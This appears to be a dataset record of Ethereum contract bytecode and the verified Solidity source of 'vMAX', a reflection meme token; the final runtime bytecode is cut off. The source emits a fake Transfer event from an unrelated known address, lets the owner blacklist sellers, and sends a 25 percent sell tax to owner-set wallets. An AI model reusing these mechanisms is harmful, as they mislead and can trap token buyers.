0x6060604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100df578063095ea7b31461016957806318160ddd1461019f5780631e89d545146101c457806323b872dd14610255578063313ce5671461027d578063378dc3dc1461029057806342966c68146102a357806366188463146102b957806370a08231146102db57806395d89b41146102fa578063a9059cbb1461030d578063c204642c1461032f578063d73dd62314610380578063dd62ed3e146103a2575b600080fd5b34156100ea57600080fd5b6100f26103c7565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561012e578082015183820152602001610116565b50505050905090810190601f16801561015b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017457600080fd5b61018b600160a060020a03600435166024356103fe565b604051901515815260200160405180910390f35b34156101aa57600080fd5b6101b261046a565b60405190815260200160405180910390f35b34156101cf57600080fd5b61025360046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061047095505050505050565b005b341561026057600080fd5b61018b600160a060020a03600435811690602435166044356104e8565b341561028857600080fd5b6101b2610668565b341561029b57600080fd5b6101b261066d565b34156102ae57600080fd5b61025360043561067d565b34156102c457600080fd5b61018b600160a060020a0360043516602435610776565b34156102e657600080fd5b6101b2600160a060020a0360043516610872565b341561030557600080fd5b6100f261088d565b341561031857600080fd5b61018b600160a060020a03600435166024356108c4565b341561033a57600080fd5b610253600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965050933593506109d692505050565b341561038b57600080fd5b61018b600160a060020a0360043516602435610a4c565b34156103ad57600080fd5b6101b2600160a060020a0360043581169060243516610af0565b60408051908101604052600a81527f53707269747a436f696e00000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015490565b600060648351111561048157600080fd5b815183511461048f57600080fd5b5060005b82518110156104e3576104d08382815181106104ab57fe5b906020019060200201518383815181106104c157fe5b906020019060200201516108c4565b15156104db57600080fd5b600101610493565b505050565b6000600160a060020a03831615156104ff57600080fd5b600160a060020a03841660009081526020819052604090205482111561052457600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561055757600080fd5b600160a060020a038416600090815260208190526040902054610580908363ffffffff610b1b16565b600160a060020a0380861660009081526020819052604080822093909355908516815220546105b5908363ffffffff610b2d16565b600160a060020a03808516600090815260208181526040808320949094558783168252600281528382203390931682529190915220546105fb908363ffffffff610b1b16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b601281565b6b75f017a4c93a48af1400000081565b600160a060020a0333166000908152602081905260408120548211156106a257600080fd5b5033600160a060020a0381166000908152602081905260409020546106c79083610b1b565b600160a060020a0382166000908152602081905260409020556001546106f3908363ffffffff610b1b16565b600155600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a26000600160a060020a0382167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a35050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054808311156107d357600160a060020a03338116600090815260026020908152604080832093881683529290529081205561080a565b6107e3818463ffffffff610b1b16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a3600191505b5092915050565b600160a060020a031660009081526020819052604090205490565b60408051908101604052600581527f535052545a000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a03831615156108db57600080fd5b600160a060020a03331660009081526020819052604090205482111561090057600080fd5b600160a060020a033316600090815260208190526040902054610929908363ffffffff610b1b16565b600160a060020a03338116600090815260208190526040808220939093559085168152205461095e908363ffffffff610b2d16565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b60006064835111156109e757600080fd5b6109f98351839063ffffffff610b4316565b610a0233610872565b1015610a0d57600080fd5b5060005b82518110156104e357610a39838281518110610a2957fe5b90602001906020020151836108c4565b1515610a4457600080fd5b600101610a11565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610a84908363ffffffff610b2d16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600082821115610b2757fe5b50900390565b600082820183811015610b3c57fe5b9392505050565b600080831515610b56576000915061086b565b50828202828482811515610b6657fe5b0414610b3c57fe00a165627a7a72305820596d213231361dd8ba4d601599becd80e16a203b028a516265e6816b1a42e5d60029
|
{"success": true, "error": null, "results": {}}
| 4,333 |
0xde7a726771af7449a7ada5735b48e80c479b7e3d
|
/**
*Submitted for verification at Etherscan.io on 2021-06-30
*/
/*
t.me/vapormaxtoken
VaporMax - vMAX
$vMAX
____ ____ .___ ___. ___ ___ ___
\ \ / / | \/ | / \ \ \ / /
\ \/ / | \ / | / ^ \ \ V /
\ / | |\/| | / /_\ \ > <
\ / | | | | / _____ \ / . \
\__/ |__| |__| /__/ \__\ /__/ \__\
vMAX is a decentralized meme experiment that has a 20% tax on sells which are then used to perform buybacks / marketing / development.
1,000,000,000,000 vMAX were created.
50 percent were burned shortly after listing to a dead address.
NO DEV/TEAM WALLETS!
5 percent autostaking (earn by hodl)
20 percent tax on sells for manual buybacks (15%) / marketing (2.5%) / development (2.5%) plus a 5 percent burn on sells to reduce supply.
Fair and stealth launch!
No presale/team/dev tokens!
LP Lock immediately on launch.
Ownership will be renounced 10 minutes after launch.
Slippage Recommended: 18%+
VaporMax - $vMAX
SPDX-License-Identifier: Mines™®©
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract vMAX is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "V4P0RM4X";
string private constant _symbol = 'vMAX';
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 5;
_teamFee = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 5;
_teamFee = 20;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 9.5e9 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d64565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061288e565b61045e565b6040516101789190612d49565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ee6565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061283b565b61048d565b6040516101e09190612d49565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906127a1565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190612f5b565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612917565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f91906127a1565b610783565b6040516102b19190612ee6565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612c7b565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612d64565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061288e565b61098d565b60405161035b9190612d49565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906128ce565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612971565b6110ab565b005b3480156103f057600080fd5b5061040b600480360381019061040691906127fb565b6111f4565b6040516104189190612ee6565b60405180910390f35b60606040518060400160405280600881526020017f56345030524d3458000000000000000000000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b6105568560405180606001604052806028815260200161363960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b069092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612e46565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612e46565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611b6a565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c65565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612e46565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f764d415800000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612e46565b60405180910390fd5b60005b8151811015610ad157600160066000848481518110610a6557610a646132a3565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac9906131fc565b915050610a43565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611cd3565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612e46565b60405180910390fd5b601160149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612ec6565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4291906127ce565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc91906127ce565b6040518363ffffffff1660e01b8152600401610df9929190612c96565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b91906127ce565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612ce8565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f53919061299e565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506783d6c7aab63600006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612cbf565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a79190612944565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612e46565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612e06565b60405180910390fd5b6111b260646111a483683635c9adc5dea00000611f5b90919063ffffffff16565b611fd690919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516111e99190612ee6565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612ea6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612dc6565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114419190612ee6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612e86565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612d86565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612e66565b60405180910390fd5b6005600a81905550600a600b81905550611589610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115f757506115c7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a4357600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116a05750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116a957600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117545750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117aa5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117c25750601160179054906101000a900460ff165b15611872576012548111156117d657600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061182157600080fd5b601e4261182e919061301c565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561191d5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119735750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611989576005600a819055506014600b819055505b600061199430610783565b9050601160159054906101000a900460ff16158015611a015750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a195750601160169054906101000a900460ff165b15611a4157611a2781611cd3565b60004790506000811115611a3f57611a3e47611b6a565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611aea5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611af457600090505b611b0084848484612020565b50505050565b6000838311158290611b4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b459190612d64565b60405180910390fd5b5060008385611b5d91906130fd565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bba600284611fd690919063ffffffff16565b90